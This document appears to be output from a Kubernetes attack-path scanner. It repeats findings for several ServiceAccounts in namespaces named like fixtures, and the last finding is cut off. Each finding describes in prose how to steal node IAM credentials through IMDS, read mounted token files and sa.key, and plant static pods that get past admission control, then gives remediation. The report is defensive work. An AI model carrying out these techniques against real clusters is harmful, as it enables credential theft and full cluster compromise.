This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/csr-fixtures/sa-csr-sign.
  2. Acting as ServiceAccount/csr-fixtures/sa-csr-sign, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod csr-fixtures/csr-sign-app-5db6bf86b4-p7xd8 falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/csr-fixtures/sa-csr-sign, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/csr-fixtures/sa-csr-sign
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod csr-fixtures/csr-sign-app-5db6bf86b4-p7xd8 falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/csr-fixtures/sa-csr-sign
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/csr-fixtures/sa-csr-sign → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/csr-fixtures/sa-csr-sign → /).
  3. Re-run the scanner to confirm the path no longer resolves.
MEDIUM ServiceAccount/flat-network/default Cluster 5.7
ServiceAccount/flat-network/default can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/flat-network/default → token_mint
Category: Privilege Escalation Subject: ServiceAccount/flat-network/default

Subject ServiceAccount/flat-network/default has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/flat-network/default → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod flat-network/api-55d9f69c7d-ppr7v falls back to node IAM role via IMDS
2. ServiceAccount/flat-network/default → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of ServiceAccount/flat-network/default chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/flat-network/default.
  2. Acting as ServiceAccount/flat-network/default, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod flat-network/api-55d9f69c7d-ppr7v falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/flat-network/default, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/flat-network/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod flat-network/api-55d9f69c7d-ppr7v falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/flat-network/default
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/flat-network/default → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/flat-network/default → /).
  3. Re-run the scanner to confirm the path no longer resolves.
MEDIUM ServiceAccount/foothold-exec/foothold-reader Cluster 5.7
ServiceAccount/foothold-exec/foothold-reader can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/foothold-exec/foothold-reader → token_mint
Category: Privilege Escalation Subject: ServiceAccount/foothold-exec/foothold-reader

Subject ServiceAccount/foothold-exec/foothold-reader has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/foothold-exec/foothold-reader → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod foothold-exec/foothold-target falls back to node IAM role via IMDS
2. ServiceAccount/foothold-exec/foothold-reader → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of ServiceAccount/foothold-exec/foothold-reader chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/foothold-exec/foothold-reader.
  2. Acting as ServiceAccount/foothold-exec/foothold-reader, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod foothold-exec/foothold-target falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/foothold-exec/foothold-reader, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod foothold-exec/foothold-target falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/foothold-exec/foothold-reader → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/foothold-exec/foothold-reader → /).
  3. Re-run the scanner to confirm the path no longer resolves.
MEDIUM ServiceAccount/foothold-fixtures/foothold-quiet Cluster 5.7
ServiceAccount/foothold-fixtures/foothold-quiet can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/foothold-fixtures/foothold-quiet → token_mint
Category: Privilege Escalation Subject: ServiceAccount/foothold-fixtures/foothold-quiet

Subject ServiceAccount/foothold-fixtures/foothold-quiet has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/foothold-fixtures/foothold-quiet → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod foothold-fixtures/foothold-quiet-app-749c54956-6w7wr falls back to node IAM role via IMDS
2. ServiceAccount/foothold-fixtures/foothold-quiet → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of ServiceAccount/foothold-fixtures/foothold-quiet chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/foothold-fixtures/foothold-quiet.
  2. Acting as ServiceAccount/foothold-fixtures/foothold-quiet, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod foothold-fixtures/foothold-quiet-app-749c54956-6w7wr falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/foothold-fixtures/foothold-quiet, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/foothold-fixtures/foothold-quiet
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod foothold-fixtures/foothold-quiet-app-749c54956-6w7wr falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/foothold-fixtures/foothold-quiet
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/foothold-fixtures/foothold-quiet → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/foothold-fixtures/foothold-quiet → /).
  3. Re-run the scanner to confirm the path no longer resolves.
MEDIUM ServiceAccount/gw-workloads/gw-web-sa Cluster 5.7
ServiceAccount/gw-workloads/gw-web-sa can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/gw-workloads/gw-web-sa → token_mint
Category: Privilege Escalation Subject: ServiceAccount/gw-workloads/gw-web-sa

Subject ServiceAccount/gw-workloads/gw-web-sa has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/gw-workloads/gw-web-sa → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS
2. ServiceAccount/gw-workloads/gw-web-sa → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of ServiceAccount/gw-workloads/gw-web-sa chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/gw-workloads/gw-web-sa.
  2. Acting as ServiceAccount/gw-workloads/gw-web-sa, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/gw-workloads/gw-web-sa, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/gw-workloads/gw-web-sa
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/gw-workloads/gw-web-sa
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/gw-workloads/gw-web-sa → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/gw-workloads/gw-web-sa → /).
  3. Re-run the scanner to confirm the path no longer resolves.
MEDIUM ServiceAccount/hookbackend-fixtures/default Cluster 5.7
ServiceAccount/hookbackend-fixtures/default can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/hookbackend-fixtures/default → token_mint
Category: Privilege Escalation Subject: ServiceAccount/hookbackend-fixtures/default

Subject ServiceAccount/hookbackend-fixtures/default has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/hookbackend-fixtures/default → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod hookbackend-fixtures/hookbackend-injector-98b757bb8-2rtf4 falls back to node IAM role via IMDS
2. ServiceAccount/hookbackend-fixtures/default → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of ServiceAccount/hookbackend-fixtures/default chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/hookbackend-fixtures/default.
  2. Acting as ServiceAccount/hookbackend-fixtures/default, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod hookbackend-fixtures/hookbackend-injector-98b757bb8-2rtf4 falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/hookbackend-fixtures/default, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/hookbackend-fixtures/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod hookbackend-fixtures/hookbackend-injector-98b757bb8-2rtf4 falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/hookbackend-fixtures/default
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/hookbackend-fixtures/default → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/hookbackend-fixtures/default → /).
  3. Re-run the scanner to confirm the path no longer resolves.
MEDIUM ServiceAccount/imgswap-fixtures/imgswap-reader Cluster 5.7
ServiceAccount/imgswap-fixtures/imgswap-reader can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/imgswap-fixtures/imgswap-reader → token_mint
Category: Privilege Escalation Subject: ServiceAccount/imgswap-fixtures/imgswap-reader

Subject ServiceAccount/imgswap-fixtures/imgswap-reader has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/imgswap-fixtures/imgswap-reader → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod imgswap-fixtures/imgswap-reader-app-b5544c498-vrnqg falls back to node IAM role via IMDS
2. ServiceAccount/imgswap-fixtures/imgswap-reader → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of ServiceAccount/imgswap-fixtures/imgswap-reader chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/imgswap-fixtures/imgswap-reader.
  2. Acting as ServiceAccount/imgswap-fixtures/imgswap-reader, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod imgswap-fixtures/imgswap-reader-app-b5544c498-vrnqg falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/imgswap-fixtures/imgswap-reader, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/imgswap-fixtures/imgswap-reader
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod imgswap-fixtures/imgswap-reader-app-b5544c498-vrnqg falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/imgswap-fixtures/imgswap-reader
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/imgswap-fixtures/imgswap-reader → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/imgswap-fixtures/imgswap-reader → /).
  3. Re-run the scanner to confirm the path no longer resolves.
MEDIUM ServiceAccount/ingress-only/default Cluster 5.7
ServiceAccount/ingress-only/default can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/ingress-only/default → token_mint
Category: Privilege Escalation Subject: ServiceAccount/ingress-only/default

Subject ServiceAccount/ingress-only/default has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/ingress-only/default → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod ingress-only/ingress-app-7bdfc6c57-6t55d falls back to node IAM role via IMDS
2. ServiceAccount/ingress-only/default → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of ServiceAccount/ingress-only/default chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/ingress-only/default.
  2. Acting as ServiceAccount/ingress-only/default, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod ingress-only/ingress-app-7bdfc6c57-6t55d falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/ingress-only/default, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/ingress-only/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod ingress-only/ingress-app-7bdfc6c57-6t55d falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/ingress-only/default
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/ingress-only/default → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/ingress-only/default → /).
  3. Re-run the scanner to confirm the path no longer resolves.
MEDIUM ServiceAccount/lp-fixtures/sa-lp-narrow Cluster 5.7
ServiceAccount/lp-fixtures/sa-lp-narrow can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/lp-fixtures/sa-lp-narrow → token_mint
Category: Privilege Escalation Subject: ServiceAccount/lp-fixtures/sa-lp-narrow

Subject ServiceAccount/lp-fixtures/sa-lp-narrow has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/lp-fixtures/sa-lp-narrow → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod lp-fixtures/lp-narrow-app-6b8848bf64-jfqrj falls back to node IAM role via IMDS
2. ServiceAccount/lp-fixtures/sa-lp-narrow → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of ServiceAccount/lp-fixtures/sa-lp-narrow chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/lp-fixtures/sa-lp-narrow.
  2. Acting as ServiceAccount/lp-fixtures/sa-lp-narrow, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod lp-fixtures/lp-narrow-app-6b8848bf64-jfqrj falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/lp-fixtures/sa-lp-narrow, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/lp-fixtures/sa-lp-narrow
    Permission granted IMDS reachable, IRSA unbound
